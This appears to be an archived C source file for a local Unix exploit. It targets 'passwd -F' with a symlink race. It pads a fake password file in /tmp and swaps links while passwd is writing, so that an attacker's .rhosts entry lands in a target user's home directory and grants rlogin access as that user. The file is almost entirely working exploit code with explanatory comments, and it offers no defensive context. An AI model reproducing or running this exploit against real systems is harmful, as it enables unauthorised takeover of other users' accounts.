home *** CD-ROM | disk | FTP | other *** search
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <stdio.h>
- #include <signal.h>
- #include <pwd.h>
-
-
- main(argc, argv)
- int argc;
- char *argv[];
- {
- FILE *passwd_in, *passwd_out;
- int race_child_pid = -1;
- struct stat st;
- struct passwd *pw;
- char pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
- buf[1024], cmd[256], nowhere[256], nowhere2[256],
- dir[256];
-
- if (argc != 2) {
- fprintf(stderr, "Usage: %s target-user\n",
- argv[0]);
- exit(1);
- }
-
- /*
- * Get Target User info
- */
- if ((pw = getpwnam(argv[1])) == NULL) {
- fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
- argv[0], argv[1]);
- exit(1);
- }
- strcpy(dir, pw->pw_dir);
-
- /*
- * Set up names for directories/links we will access
- */
- sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
- sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
- sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
- sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
- sprintf(ptmp, "%s/ptmp", dir);
- symlink(pwd_dir, pwd_link);
-
- /*
- * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
- * The bigger our 'passwd file', the longer passwd(1) takes
- * to write it out, the greater chance we have of noticing
- * it doing so and winning the race.
- */
- mkdir(pwd_dir, 0700);
- sprintf(pwd_file, "%s/.rhosts", pwd_dir);
- if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
- fprintf(stderr, "Cant open %s!\n", pwd_file);
- exit(1);
- }
- if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
- fprintf(stderr, "Cant open /etc/passwd\n");
- exit(1);
- }
- if ((pw = getpwuid(getuid())) == NULL) {
- fprintf(stderr, "Who are you?\n");
- exit(1);
- }
- fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
- for (;;) {
- fseek(passwd_in, 0L, SEEK_SET);
- while(fgets(buf, sizeof(buf), passwd_in))
- fputs(buf, passwd_out);
- if (ftell(passwd_out) > 32768)
- break;
- }
- fclose(passwd_in);
- fflush(passwd_out);
-
- /*
- * Fork a new process. In the parent, run passwd -F.
- * In the child, run the race process(es).
- */
- if ((race_child_pid = fork()) < 0) {
- perror("fork");
- exit(1);
- }
- if (race_child_pid) {
- /*
- * Parent - run passwd -F
- */
- sprintf(pwd_file, "%s/.rhosts", pwd_link);
- puts("Wait until told you see \"Enter your password now!\"");
- sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
- system(cmd);
- kill(race_child_pid, 9);
- exit(0);
- } else {
- /*
- * Child
- */
- int fd = fileno(passwd_out);
- time_t last_access;
-
- /*
- * Remember the current 'last accessed'
- * time for our password file. Once this
- * changes it, we know passwd(1) is reading
- * it, and we can switch the symlink.
- */
- if (fstat(fd, &st)) {
- perror("fstat");
- exit(1);
- }
- last_access = st.st_atime;
-
- /*
- * Give passwd(1) a chance to start up.
- * and do its initialisations. Hopefully
- * by now, its asked the user for their
- * password.
- */
- sleep(5);
- write(0, "Enter your password now!\n",
- sizeof("Enter your password now!\n"));
-
- /*
- * Link our directory to our target directory
- */
- unlink(pwd_link);
- symlink(dir, pwd_link);
-
- /*
- * Create two links pointing to nowhere.
- * We use rename(2) to switch these in later.
- * (Using unlink(2)/symlink(2) is too slow).
- */
- symlink(pwd_dir, nowhere);
- symlink(dir, nowhere2);
-
- /*
- * Wait until ptmp exists in our target
- * dir, then switch the link.
- */
- while ((open(ptmp, O_RDONLY)==-1));
- rename(nowhere, pwd_link);
-
- /*
- * Wait until passwd(1) has accessed our
- * 'password file', then switch the link.
- */
- while (last_access == st.st_atime)
- fstat(fd, &st);
- rename(nowhere2, pwd_link);
- }
- }
-